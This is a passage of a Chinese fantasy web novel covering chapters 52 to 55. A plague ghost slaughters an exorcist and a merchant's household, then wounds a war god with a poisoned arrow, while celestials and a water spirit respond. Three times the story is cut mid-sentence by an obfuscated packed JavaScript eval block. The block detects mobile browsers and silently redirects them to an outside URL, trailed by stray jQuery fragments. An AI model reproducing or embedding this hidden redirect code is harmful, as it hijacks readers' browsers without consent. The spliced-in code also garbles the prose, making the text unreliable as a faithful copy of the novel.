玉恒真人带着两个徒弟上午就来了姜府,又是画符又是设阵的好一番折腾,然后手持宝剑端坐正堂,等着与鬼展开正面较量。 正房的卧室里,姜老爷一边躺在床上疼得哼哼唧唧,一边竖起耳朵听外面的动静, “那个鬼怎么还没出现?” 坐在床前喝茶的姜叔父推测道:“该不会是他得知玉恒真人在此坐镇,所以吓得不敢来了吧?” “此事并未透露出去,他又怎会得知?” “也许这是一个精明鬼,动手前会先查探清楚呢?” “我花了大价钱请玉恒真人来捉鬼,他要是不来,白花钱也就算了,可事情不能得到解决,终究是一大隐患啊!” “这倒也是,这个鬼今晚能过来送死就再好不过了。” 姜叔父的话音刚落,窗外突然一阵劲风刮过,满院花木都被摇得哗啦作响,甚至还传来树枝不胜负荷的折断声。 “侄儿,这风不对,应该是鬼来了。” 果然,正堂里响起了玉恒真人中气十足的声音,喝斥道:“何方小鬼?报上名来。” . 正院忽然平地起大风,玉恒真人自然更明白这是有邪祟侵入的结果,立刻手持宝剑跃出屋外大声斥问。 回应他的是一声冷笑,带着不加掩饰的不屑与轻慢。 “就凭你,也配问我的名号。” 随着这个冰寒雪冷的声音,浓墨般的夜色中,倏忽多了一道白色身影。 那是一个宛若羊脂白玉碾成的玉面公子,五官秀美如女子,气质很阴柔,傲然而立的身姿却有一种凌厉铿锵之气,仿佛是一柄出鞘的利剑。 “大胆狂徒,我师父乃万象宗长老玉恒真人,你竟敢如此无礼,看剑。” 玉恒真人的一位徒弟怒斥着拔剑冲向厉无情,他不躲不避地任由对方一剑刺来。被刺中的一瞬间,整个人就如同水中虚影般荡漾着消失了。 “师父,鬼不见了。” “院内四方都贴了符咒设了阵法,他进来了就出不去,不过是暂时隐形罢了,洒黑狗血就能让他显形。” 正堂一角有事先备好的两大桶黑狗血,玉恒真人下令指挥两个徒弟去洒狗血。 谁知他们还没走到房门口,就同时一头栽倒在地,后背心上都插着一支白翎箭。 两个徒弟一起中箭身亡,看得玉恒真人的瞳孔一阵紧缩,失声道:“鬼箭幽厄。” 随着这四个字,厉无情长身玉立的身影重新出现在院中央,手持弓箭,神色冷峻地注视着他。 玉恒真人不自觉地打了一个寒战。他做梦都没想到,来姜家作祟的鬼竟是四大恶煞之一的疫鬼厉无情。 这位恶煞可不是人间修士能够搞得定摆得平的,只有天界武神下场才行。 “厉无情,你为何要在此作祟?” “我想作就作,你管得着吗?” 厉无情老实不客气的抢白,顶得玉恒真人脸色一阵青白交错,他确实是没有能力管这个事。 52.求神 玉恒真人壮起胆子道:“我是管不着,却另有管得着的武神。你要是有胆量的话,敢不敢与冲元真君一战?” 厉无情冷冷地嗤笑了一声。 “我有胆量,更有脑子,才不会中这种低级的激将法。我现在就想找姓姜的麻烦,谁敢阻拦我就一起收拾。你搬出冲元真君来吓唬我,当我是吓大的吗?有本事就动手降服我,没本事就跪下求饶,我还可以考虑放你一马。” 玉恒真人自问没有那个本事,他不想落得跟两个徒弟一样的下场,为了保全自己的性命,只得卑躬屈膝地下跪求饶。 “我不是你的对手,也不会再阻拦你做什么,还请放我走吧!” 一窗之隔的正房里,姜老爷自始至终都在竖起耳朵听着窗外的对话。 一听玉恒真人认了怂,不但降不了鬼还反过来被鬼给降了,气得他拍着床板大骂起来。 “玉恒真人,我花费黄金百两请你来家捉鬼除祟,谁知你却这般无能,竟反过来给鬼磕头求饶,简直岂有此理。” 玉恒真人满面羞愧之余,还为自己辩解道:“什么黄金百两?我明明只收到五十两金子,既然事情不成,回头肯定会送还给你的。” 姜老爷明明给了姜叔父黄金百两去找修士,既然玉恒真人只收到五十两,另外一半不用说是被姜叔父中饱私囊了。 “叔父,另一半金子被你贪了?” 姜叔父原想作为中间商赚个差价,没想到这个鬼居然这么厉害,玉恒真人竟不战而降。眼下鬼占尽上风,姜家是翻不了盘了,他呆在这里恐怕也要跟着触霉头。 顾不上回答侄儿的质问,姜叔父当机立断地跑出屋子,和玉恒真人并肩跪在厉无情面前求饶。 “公子,我和玉恒真人是一道来的,还请你把我们一起放了吧!” 姜老爷之前深恨技不如鬼的玉恒真人,此刻更是恨透了自家亲叔父。他此刻方才明了,姜叔父当日赞成他找修士捉鬼的想法,目的是为了赚取一半黄金的差价。 如果那天姜叔父不是一再怂恿他这么做,或许他就在姜夫人的劝阻下打消了这一念头,今晚的一切也就不会发生。 “不要放他走,他是我叔父,今晚这一切都是他安排的。就是他请来玉恒真人对付你,否则我一个躺在床上的刑余之人,怎么可能办到这些事。” 姜老爷知道自己死定了,干脆拉上姜叔父当个垫背的,大家一起死谁也别想活。 “不是不是,是他的主意,是他让我请修士来捉鬼的,我纯属好心帮忙。” “我呸,你要是好心帮忙的话,为什么昧下了五十两金子?” “我就是赚点辛苦钱,回头我就把金子都还你不行吗?” “我命都要没了,还要什么金子?不如咱们叔侄俩一起死,黄泉路上还能有个照应。” “你个黑了心肝的王八羔子,竟这般坑害自家叔父,简直不是人啊!” “你又是人吗?你要是人的话,就不会为了赚五十两金子这样往死里坑我了。” “我不是想坑你,我也没想到玉恒真人会收服不了这个鬼……这位鬼公子啊!” 姜老爷和姜叔父之间的狗咬狗,厉无情似笑非笑地听了半晌,忽然翻脸道:“吵死了!” 话音未落,两支穿心透骨的白翎箭,已经分别射入姜叔父与玉恒真人的胸膛。两人惨叫一声往后栽倒,当场气绝身亡。 玉恒真人死不瞑目,一双眼睛瞪得又大又圆,似乎在无声地质问厉无情为什么还是要杀了他。 厉无情一边收起弓箭,一边神色漠然地道:“你若是宁死不屈地跟我拼命,我倒可以敬你是条汉子放你一马。你既是个怂包软蛋,那就别继续活着丢人现眼了。” . 窗外传来两声惨叫后,突然变得安静极了。躺在屋里的姜老爷,便知道姜叔父与玉恒真人恐怕都凶多吉少。 厉无情穿过墙壁飘入屋子时,姜老爷自知死到临头,也不指望还能活命,却还是挣扎着爬下床磕头恳求。 “厉公子,我自知罪孽深重,难逃一死,但是我的妻儿与此事无关,还请公子明鉴啊!” 三日前,姜夫人是如何苦心劝阻自己,又是如何自请休书离去,姜老爷全部一五一十地告诉了厉无情。 “厉公子,还是那句话,祸不及妻儿。我娘子已经带着两个儿子离开了我,无论今日结果如何,她都不会再回到我身边。所以我的所作所为一人承担,与他们没有丝毫干系。无论你要杀要剐,我都绝无二话。” 厉无情的两点眸光变幻莫测,玉白的面孔冷若冰霜。 “我怎么知道这是不是你们夫妻俩商量好做的两手准备?如果是,那么放过他们母子三人,岂非就被你们蒙骗过去了,还是一起杀了最为妥当。” 姜老爷听得面如土色,后悔莫及。 “厉公子,我娘子真的一再劝我了,是我不肯听她的劝,怀着侥幸心理想要保下家产。她见劝不动我,宁愿带着儿子离开,再也不回来。整件事都是我猪油蒙了心干出来的糊涂事,与他们母子仨真的毫无干系。我这条贱命随便公子怎么出气都行,恳求公子垂怜,放过他们吧!” “我已经开恩饶过他们一回了,这种机会我只给一次。如今你们全家只能一起去死了,你先走一步,回头我再把你的老婆孩子都送来,一家子整整齐齐地上路。” “不要啊,求公子发发慈悲,求公子发发慈悲吧……” 姜老爷泣不成声地拼命磕头,磕得地板咚咚作响,额头血红一片。厉无情听若未闻地抬手弹指,弹出一簇幽蓝的鬼火落在他身上。 鬼火在姜老爷身上四处蔓延,缓缓扩散至全身,他惨叫着满地打滚。 鬼火是阴火,不像阳火那样燃烧时烈焰熊熊,浓烟滚滚,会烧成摧枯拉朽的盛大火势。 它的火苗就像蜡烛一样舔舐着人的肌体,好比慢火煨汤,一点点地把人烧成灰烬,不会涉及到其他地方,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478354|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会产生浓烟让被烧的人吸入后窒息身亡,无异于一种凌迟。 . 中庭月色正清明,厉无情一袭白衣,独立阶前,眼神迷离地凝视着满庭皎洁的月光。 今人不见古时月,今月曾经照古人。青铜器一般古老的月光,在他久远的前世中,曾经照耀过的那些人与事,都已如春梦了无痕,月光却一如往昔的皎洁无比。 月色静好,屋里却是惨叫声不断。姜老爷被鬼火烧得生不如死,更摧心裂胆的痛苦是妻儿也要被株连。 “娘子,我不该不听你的劝,现在要连累你和孩子们陪着我一起遭殃。是我对不起你们,我真是悔不当初啊!一切都是我的错,是我造的孽,求神仙保佑我的妻儿逃过此劫吧!各路神仙,求你们保佑啊!” 求鬼已经无济于事,姜老爷最后的希望就是求神仙保佑了。 他挣扎着爬到屋角的神龛前,摸出一大把线香点燃,悲惨又凄厉地大喊着自己知道的所有神仙的名号。 紫衡帝君,太玄真君,太清元君,普和真君,冲元真君,威毅真君……苦苦哀求着他们救救自己的妻儿,来生愿意作牛作马赎罪。 厉无情背负双手,静静聆听着隔窗传来的凄惨哀求声。 他暗中忖道:看来姓姜的应该没说谎,姜夫人的确在劝阻不成后带着两个儿子离开了他,也不打算再回来。既然如此,我也不会再去难为她们母子了。 . 云雾缭绕的云间仙境。 普和殿中,普和真君檀豫正守着丹炉炼丹药。 这位老神仙白白胖胖,童颜鹤发,颏下垂着一把银白如雪的长须,看起来像个老寿星,也因此被信徒们尊称为长寿仙翁。 殿堂一侧摆着一张白玉香案,案台上方浮着无数星子般的红色光点,明暗交织地闪烁着,最上面的往往红得最是鲜明灿烂。 这些都是来自人间凡界的信徒心愿,多到根本就听不完。檀豫平时忙得很,一般情况下都不予理会。 片刻后,一点格外明灿的红光,突然如灯花般爆开了。 这意味着信徒有格外强烈的心愿,并且生命已经进入倒计时,是临终前的遗愿。 檀豫便抽空听了一下,听得两道花白的长眉微微一耸。 这位姜姓信徒居然招惹上了四大恶煞之一的疫鬼厉无情,祈求神仙庇护时还一口气求了很多位仙官。 有些信徒以为祈求神仙保佑,自然是越多越好,其实并非如此。 有时候拜的神仙太多了,反倒凸显不出重要性。如果每位仙官都觉得自己只是顺便被求了一下,肯定是不会上心的。 对于姜姓信徒希望神仙庇佑妻儿的心愿,檀豫决定装聋作哑,只当自己什么也没听见。 疫鬼厉无情可是一个极其扎手的狠角色,如无必要他才不想与其正面硬杠。 况且姓姜的也不是他的忠实信徒,既然求了那么多的神仙,就看有没有缘法让其他仙官出手吧! 53.伤神 檀豫不是武神,而是以丹道之术成仙的仙师,武力值平平无奇,斗战能力比文神高不了多少。 之前他让藤老祖配合自己上演显灵戏范码时,剧情都设计成兵不刃血的震慑,让妖怪闻风丧胆自动求饶,既能避开短处更能扬其威名。 一旦遇上很难对付的妖魔鬼怪,他才不想去自讨苦吃。 威毅殿中,钟离斐大马金刀地端坐在白玉香案前。看似在闭目养神,实则在仔细聆听来自下界的信徒心愿。 信徒们的心愿多如天上繁星,他也不可能每个都听,就设置了两个关键词: 一个是信徒必须来自淮南一带;另一个是内容与妖魔鬼怪有关。 钟离斐还是放不下那个在尚湖逃之夭夭的小妖。 尽管身为江南一带的守护神,他不方便跑去淮南一带捉妖,不过他在淮南也是有一些信徒的。 如果哪位信徒求到他头上来了,那他的越界行事就情有可原。 一点灯花般爆开的红光,是一段来自淮南某信徒的祈愿,听得钟离斐霍然睁开了眼睛。 虽然内容并不是他最关注的那个小妖,但听说是疫鬼厉无情在作祟,他还是想也不想地就决定下凡,去会一会这位臭名昭著的恶煞。 有些武神拈轻怕重,如果遇上厉害的对手都会尽量避免直撄其锋,不想搞得玉石俱焚。 但钟离斐是个嫉恶如仇的性子,一向逢恶必除,除恶务尽。不管对手被传得多厉害,他都敢去硬碰硬,畏首畏尾从来不是他的风格。 . 钟离斐驾着云头来到姜府时,姜老爷已经断了气,厉无情正准备离开。这位并非本土神仙的武神出现,让他颇感意外。 “钟离斐,你不是江南的武神吗?怎么跑来淮南这边管闲事了?” 钟离斐以前没有见过厉无情,但是厉无情却一眼就认出了他。 原因很简单,各路神仙的神庙神像在人间凡界随处可见,神仙们的出身来历容貌特征也就都不是秘密。 与之相反,无间鬼域的魑魅魍魉,身世来历大都成谜,容貌长相也鲜为人知。 哪怕是名气最响的四大恶煞,钟离斐以前也只听说魅鬼朱颜悔是个红裳似血的美人,疫鬼和厉鬼据说一个常穿白衣,另一个惯著黑袍。 至于水鬼铜棺将军是什么模样就更不清楚了。 因为他大多数时候都躺在铜棺里不露面,偶尔露面也是全套白金盔甲加面具的神秘扮相。 “无论是哪里的武神,降服妖魔鬼怪都是职责所在。你就是疫鬼厉无情?” 见到厉无情的第一眼,钟离斐也免不了要犯以貌取人的毛病,感觉不像是个能打的对手。 这位容貌与气质都太过阴柔的玉面公子,甚至让他一度怀疑对方是不是女扮男装。 厉无情笑得温文尔雅,“你看上去像在怀疑我是假冒的。” 钟离斐是个直肠子,直言不讳地道:“没错,毕竟我也没见过厉无情,只听说他是个厉害角色。而你看起来并不强,不但外表很文弱,还有点娘娘腔。” 这话犯了厉无情的大忌,脸上那个温文尔雅的笑容瞬间消失得一干二净,取而代之的是冷酷又怨毒的神色。 “我究竟是强是弱,你很快就知道了。” 钟离斐听这话的意思是要过招了,他也不是来陪聊的,直接亮出降魔枪准备跟厉无情交手,谁知这个疫鬼却像一缕轻烟般倏忽消失了。 “想跑,没那么容易。” 四大恶煞的名气虽然响亮,但直到目前为止,他们没有一个人直接跟仙官正面交锋过,有意无意间似乎是在避免硬碰硬。 去年太玄真君陆衢的座骑黑虎在浮玉山被杀,厉鬼应长恨被高度怀疑是真凶。 这位凭借一柄鬼刀风雷怒大杀四方的厉鬼从此躲得无影无踪,几乎要查无此鬼了。 现在疫鬼厉无情面对前来收鬼的武神,又想玩消失这一套。 钟离斐可是不干的,立刻挥舞降魔枪四面八方一阵横扫,强势阻止对方逃离现场。 这样的横扫效果很明显,一个白色人影重新呈现时,是从半空中跌落下来的,正是来不及逃走的厉无情。 赢得太过轻松的钟离斐,满脸索然无味的神色。还以为这个疫鬼有多厉害呢,没想到这么弱,简直弱爆了好吧? 走到倒地不起的厉无情身边时,第六感突然让钟离斐察觉出好像哪里有些不太对劲。 无间鬼域可不是什么善男信女扎堆的地方,疫鬼厉无情如果真这么弱鸡,早就魂飞魄散八百回了,怎么可能成为四大恶煞之一? 况且,他连独门武器鬼箭幽厄都还没有亮出来呢。 钟离斐刚心念一动地想到鬼箭幽厄,身后就有一阵强劲无比的阴冷劲风袭来。 他的反应很是迅速,头也不回地就闪身躲避,一连换了好几种身法,惊险万分地躲开了好几支连珠箭,却终究还是被一支白翎箭躲中了肩膀。 穿心透骨的鬼箭幽厄,牢牢钉入钟离斐的肩胛骨中,带来一阵剧痛难当。 哪怕他是个铁骨铮铮的硬汉,轻易不会因为受伤而呼呼喊疼,整张面孔却还是不自觉地扭曲起来。 “厉无情,你的箭上淬了毒。” 姜家正屋的屋顶上,厉无情手持弓箭独自伫立,白色长衫的下摆在夜风中猎猎飞舞。 而之前那个倒地不起的“厉无情”,已经悄然散作一团白雾,消失得一干二净。 居高临下地注视着钟离斐,厉无情的眼神中,满是扬眉吐气的快意与嘲讽。 “没错,这种毒就叫‘伤神’,你是第一个享用它的神仙。看来炼制得还挺成功,否则你不会疼得连声音都变了。” 大意轻敌的钟离斐知道自己这回跟头栽大了,不该小看这个疫鬼厉无情的。 这家伙外表阴柔文弱,实则阴险强悍。不过是在利用这层弱小的表皮玩扮猪吃老虎,一出手就是暗箭伤人加淬毒的狠辣招数。 一不留神着了道吃了亏,钟离斐恨得咬牙切齿,满脸的络腮胡子都奓了毛似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493476|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根根耸立。 “厉无情,我真是小看你了。可就算我中了你的毒箭,也不意味着你能轻易杀了我。” 钟离斐强忍剧痛,握着手中的银枪默念咒语。 只见那杆银枪眨眼间就体积暴涨,原本细细的枪杆变得粗大如梁柱,驮着主人嗖的一下就飞远了,速度快得像风驰电掣。 厉无情也没有要追的意思,穷寇莫追,这个道理他懂。 钟离斐毕竟是武神,即使中了暗算,想要彻底干掉他也不是一件容易的事。反正他已经中毒了,就算不死也要吃上不小的苦头。 翘首目送那杆高速飞离的巨大银枪,厉无情唇角微勾,笑得无比解气:钟离斐,能把你打到这般抱头鼠窜的人,我应该是第一个吧? . 银枪驮着钟离斐刚刚飞离姑苏城上空,他就失去意识一头栽了下来,还很不凑巧地掉进了城外西郊的一个乱葬岗。 那杆银枪追着钟离斐落在乱葬岗中,自动从一杆幻化成多杆。如同篱笆般在主人四周围成圆形,形成一个保护的结界。 这个神兵组成的保护结界,只要钟离斐呆在里面不出去,妖魔鬼怪就无法突破结界进来对他不利。 深更半夜的乱葬岗原本空无一人,唯有鬼火幢幢。 不过钟离斐落下不久后,一个矮小的人影突然出现,正是孩童版的阿难。 之前在姜府发生的一切,阿难躲在从姜府后门流过的一条小河中全程旁听。 这个地点在他的听力范围内,又方便撤退,水路对水族来说就是畅通无阻的代名词。 钟离斐在厉无情手里吃了大亏,虽然逃得很快,但毕竟身中毒箭。 阿难有些担心他能不能跑路成功,就暗中追着天上飞过的银枪而去,结果还真是好的不灵坏的灵。 找到乱葬岗,发现钟离斐被银枪组成的保护结界围得严严实实,阿难不禁苦笑:这样子我是进不去的,只能另外替他搬救兵了。 神兵的结界,唯有神仙才有可能突破,这意味着阿难必须要找一位神仙来救人。 . 云间仙境,玄清殿。 帘幕重重的寝殿中,太清元君温且惠姿态慵懒地坐在菱镜台前。 太玄真君陆衢站在妻子身后,手持一把翡翠梳,动作轻柔地为她梳理着满头黑丝缎似的长发。 镜中映照出这对神仙眷侣的形容,女子琼姿花貌,柔美似水;男子雄姿伟貌,刚毅如山;实在是一对般配之极的佳偶。 “惠娘,记得初见你的时候,你就是这样散着长发走在御花园里,手中还握着一束碧桃花——真真是人面桃花相映红。” “那年我才十三岁,如今算来已是千年之前的事了。” 千年前,东郯国的兴城公主温且惠,是娉娉袅袅十三余的豆蔻少女,明媚鲜妍得好似春光里的碧桃花。 “那又如何?你依然那么美,而且眼下还是三界最有名的神女。” “这倒也是,更重要的是,你我还做了夫妻。” 54.看来 温且惠注视着镜中的陆衢,两弯含情带笑的明眸,如春水般温柔又缠绵。陆衢情不自禁地弯下腰拥她入怀,声音感慨万千。 “惠娘,当年我还以为我们永远也不可能在一起。那时候,我们名义上虽是天潢贵胄,实际上却都是任人摆布的可怜虫。” “五郎,都过去了,如今我们的命运握在自己手里,谁也别想再摆布我们。” 夫妇俩正依偎在一起絮絮低语着,一点代表信徒心愿的红色光点飘进来,自动停在温且惠的面前,这意味着它含有她所设定的关键词内容。 温且惠随意一挥广袖,红色光点中传出一个小孩子的稚嫩声音,抽抽噎噎的。 “温娘娘,信女慧慧,淮南姑苏城人士,我娘病得很厉害,您能不能保佑一下她,让她的病快点好啊?求求您了!” 听完这段话,温且惠还没说什么,陆衢已经了然地微笑道:“这个小女孩的心愿,你是肯定要下凡走一趟替她完成的。” 温且惠微微一笑,笑容中有一丝难以排遣的伤感。 “那是自然。当年我若是能遇上一位好心的神仙,替我保住了母后的性命,或许这一生就完全不同了。” 七岁那年,温且惠的母亲,东郯国的王后魏氏难产而死,母子俱亡一尸两命。 纵然是如今成了神仙,当年丧母的锥心之痛,依旧是温且惠心底难以释怀的隐痛。 “惠娘,我陪你一起去,就呆在姑苏城上空等你。” 温且惠与陆衢是一对神仙夫妇,合体亮相出现在世人面前原本也属正常。 但是她并不喜欢和丈夫一同显灵,因为那样她很容易沦为他的附庸。尤其是单独向她上香祈求的信女,她都只会独自出现实现对方的心愿。 . 红色光点的来源处,是淮南姑苏城的西郊外。 当温且惠和陆衢同乘一只青鸾来到姑苏城西郊上空时,却意外发现了一件事。 “惠娘,你看那是什么?” “这儿居然有神兵的神光闪烁,还形成了圆形的光圈,分明是一个保护结界。” 陆衢不无讥诮地剑眉一扬。 “看来是哪位仙官下凡降妖伏魔却失了手,否则没理由出现这种自救的保护结界。也不知是谁这么不中用?” “应该是。小青,飞过去看看。” 青鸾遵从温且惠的吩咐,振翅飞向神兵光芒闪烁的地方。 夫妇俩居高临下地俯瞰着,发现保护结界里面趴着人事不省的钟离斐,形成结界的神兵正是他的降魔枪。 温且惠“咦”了一声,“怎么是钟离斐?” 陆衢也觉得奇怪,“他不是江南一带的守护神吗,怎么会倒在姑苏城的乱葬岗呢?” 一边疑惑着,他俩一边设法解开了银枪组成的保护结界。 陆衢走到昏迷的钟离斐身边蹲下细看,发现他肩膀上扎着一支锋锐无比的白翎箭,整张脸都浮着一层污浊的黑气。 注视着那支白翎箭,陆衢语气笃定地道:“这是鬼箭幽厄,让钟离斐受伤倒下的人,只能是疫鬼厉无情。” “这就是疫鬼的幽厄箭啊!看钟离斐这满脸的黑气,箭上应该淬了毒呢。” “厉无情的鬼箭以前不淬毒的,现在看来越发心狠手辣了。” 陆衢随口一说后,温且惠有些不解地问道:“奇怪,钟离斐出了名的勇猛绝伦,实力并不弱,为什么会被厉无情一箭射伤?” “是啊,堂堂武神不该如此不济的。眼下这种情况,要么是厉无情实力大增到了足以吊打他的地步,要么就是出其不意暗算了他的结果。” “如果是后者也就罢了,如果是前者的话,无间鬼域看来将有新的鬼王诞生。” 陆衢与温且惠对视了一眼,两个人的目光都意味深长。 “已经三百年过去了,无间鬼域也是时候再出一位新任鬼王。目前看来,厉无情最有可能问鼎鬼王宝座。厉鬼已经销声匿迹,魅鬼的实力不如他,水鬼几百年才会出来露一次面,他已经没有竞争对手。” 听完陆衢简略的点评,温且惠道:“照这么说,这个鬼王头衔看来是要落在厉无情头上了。” “嗯,如果厉鬼应长恨还能出来蹦跶的话,厉无情估计就还得费一点劲。” “应长恨当初杀了黑虎,因为你的一道梦令遭到八方追剿,没想到却间接成就了厉无情的一番王图霸业,也算是他的时运到了。” “那只黑虎是死是活我并不在乎,但他这么做是太岁头上动头,我要不收拾他就不是陆衢了,是吧?惠娘。” 陆衢提及陪伴自己多年的座骑时,语气中全无半点情分。 然而他含笑注视着温且惠的一双眼睛,却蕴满情深意重。似乎在他眼里,除了妻子是个宝,其他一切都是草。 . 青鸾重新飞上天空时,除了驮着温且惠和陆衢夫妇俩,还载上了昏迷不醒的钟离斐。 温且惠没有再去实现信徒的心愿,因为姑苏城西郊一带,已经无法确定那名信女慧慧的位置。 信香承载着信徒的心愿向天界传递,神仙们如果想要为其实现心愿,就循着信香去找人。 信香的一缕灵氛会附在信徒身上,帮助神仙确认是否是自己寻找的目标人物。 那缕灵氛凡人无法感知,但对神仙来说就如同黑暗中的红烛一样醒目。然而温且惠和陆衢在西郊一带四处查看了一番,并没有任何发现。 温且惠是为了实现信徒的心愿而来,谁知信徒遍寻不获,反倒是一来就发现了被鬼箭射伤的钟离斐。 她无法不得出一个结论:“五郎,把我叫来这里的信女慧慧恐怕并不存在,不过以此为由让我过来救钟离斐。” “能够知道你筛选信香时的关键词,并利用这一点让你下凡救人,这个所谓的‘信女慧慧’,看来对你有一定的了解,理应也是云间仙境的仙官。” “可如果是云间仙境的仙官,大可以自己出手救人,没必要再绕上这么一大圈来找我。” “既然有这份救人的心却没有出手,只有一种可能——那就是有心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518739|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而无力。” 温且惠和陆衢对视了一眼,心里都同样想起了一个人——一个曾经是天界仙官、后来却遭贬下凡的人。 “你说是他吗?” “只能是他了。” 虽然没有确切无疑的答案,但无论是温且惠还是陆衢,心里都已经认定了只有这个人。 . 姑苏城西侧,波光粼粼的太湖中,阿难潜于湖面之下,透过眼前一层薄薄的水帘仰望夜空。 夜空中,青鸾展开羽翼,姿态优美地翩翩飞向碧落之上的云间仙境,很快就变成了一个遥远的小点。 姑苏城西郊的穹隆山巅,一身白衣的厉无情隐身于密林中,眼睛也在眺望着同一方向。 两道蕴满憎恨的目光如鞭子一般,猛抽着青鸾背上那个挺拔如劲松的男子身影。 ——陆衢,无论要付出怎样的代价,我也一定要杀了你不可。 青鸾的身影彻底消失在夜空后,太湖中的阿难一个轻巧翻身,朝着缥缈峰的方向游去。 好了,钟离斐获救了,任务完成了,他可以收工回去躺着了。 至于姜夫人那边,就不劳他操心了,自有操心的人在。 那天姜夫人把三个小孩送进慈幼局后,阿难很快从那里跑了,跑去满姑苏城的到处找人。 找到了自己想找的目标,他当晚就去了姜夫人的娘家,隐身进屋留下一纸留言: ——阊门大街的同福客栈,有位美若天仙又法术了得的真真姑娘,或许能拯救你们母子于水火。 因为丈夫的一意孤行,姜夫人正满心犯愁会不会被连累,白天还去了不少神庙上香祈福。 可神仙是否会来谁也不知道,夜深人静时分,突然有一纸素笺落在她眼前,告知可以去找这位真真姑娘求助。 如此的奇事一桩,姜夫人自是深信不疑地找上门去了。 不出阿难所料,热心肠的任天真,在得知了姜夫人的来意后,没有拒绝她,只是有些奇怪。 “谁让你来找我的?” “我也不知是哪位高人暗中指点,留下这纸信笺让我来求姑娘施以援手。” 任天真看了那纸信笺后,也搞不清楚是谁写的,便先撇到一旁不管了。 “你夫君是纯纯的自作孽不可活,无论那个白衣男鬼要怎么收拾他都是他活该。你既已经跟他划清界限,答应白衣男鬼的事也尽自己最大努力做到了,就没理由再被他连累。我可以答应你,如果白衣男鬼还要株连你的话,替你出面和他好好说道一番。如果说不通就跟他打,除非打不过他那就另当别论。所以丑话说在前头啊,要是对方是我打不过的牛鬼,我也只能丢下你们跑了,总不能把自己搭进去对吧?” 任天真声音琅琅的一番话,清脆得像一大把铜钱撒落在地,干脆得一点也不拖泥带水。 姜夫人直点头道:“那是自然,我与姑娘素昧平生,能得姑娘仗义相助已是感激不尽,又岂能要求姑娘为我豁出性命不要呢?无论结果如何,我们母子三人都对姑娘感恩戴德。” 55.日月明 有任天真负责守护姜夫人母子三人的安危,阿难就能一身轻松地回缥缈峰睡大觉了。 游回去的途中他还在琢磨一件事,厉无情并不是那种路见不平会拔刀相助的热心人,惩恶扬善也不是他会做的好心事。那么问题来了,靠贩卖阉儿起家的姜老爷,怎么会招来这么一位恶煞上门索命呢? 阿难想不通这件事:这当中一定有什么我不知道的缘故。 缥缈峰位于太湖之中,峰底有一处隐蔽的溶洞直通湖水,阿难平时就住在溶洞里。 回到溶洞的阿难倒头大睡,睡得正香时,忽然感觉到了一阵异样的动静。 似乎在很遥远的地方有极其剧烈的震动爆发,如涟漪般扩散到了这里,让太湖水和缥缈峰都跟着产生了嗡嗡的共振。 蓦地睁开眼睛后,阿难又闭上双眼,用更敏锐的灵识去捕捉震动的来源处,很快确定那个地方是东海。 东海那边为什么会发生极其剧烈的震动?到底出什么事了? 阿难还在奇怪呢,系在脚踝处的那只虎头铃铛突然铃声大振,响得欢快又激动,他听得也面露喜色。 “小铃,你感应到了大明的位置就在东海,难道刚才的震动与它有关?太好了,咱们今天就出发去东海。” . 东海,海中洲。 海中洲是一组群岛,面积最大的龙兴岛上是洲中心的昌城,绝大部分居民都住在这里。 距离昌城最远的太平岛人迹罕至,是无极宗如今的仙府所在地。 昌城中,这两天来了不少修真人士,他们都是因为东海日前出现的异象聚集在此。 一家热闹的酒楼里,几位修士围坐在一张八仙桌旁,一边就着几碟小菜喝酒,一边谈论着那天发生的异象。 “听说那日天气晴好,海面原本十分平静,忽然无缘无故就喷出一根巨大的水柱,高逾百丈,直冲云霄,把附近海域几艘渔船上的人全都吓跪了!” “平静的大海突然喷出这么高的水柱,说明海底产生了巨大的爆发力,也不知是什么东西在爆发呢?” “天现异象必出妖孽。东海出现这种怪事,想来也不是什么吉兆。华源真君搞不好又要显圣斗海妖了。” “不只是有妖孽那么简单,听说水柱喷出时,既透着隐约的黑气,也闪着隐约的神光。” 污浊的黑气代表着妖魔鬼怪一流,而金灿灿的神光却代表着神兵的存在。 如此矛盾对立的两种东西,却同时出现在东海喷出的水柱中,着实令人费解。 “什么?为什么神兵的光芒会跟妖魔鬼怪的黑气混在一起?” “谁知道呢?我更好奇的是那是什么神兵的神光。” “只有武神遭贬后,他的神兵才会沦落人间。近千年来,符合这一条件的神兵唯有仙剑日月明,莫非这柄仙剑就在东海之中?” 仙剑日月明,曾经是属于灵曜天君明光的佩剑,当年在三界中的威名仅次于紫衡帝君英昊的仙剑神锋。 “极有可能。三百年前,明光遭贬下凡时,他的仙剑也跟着一同谪落。看来这一神兵是落入东海,在海底呆了整整三百年呢。” 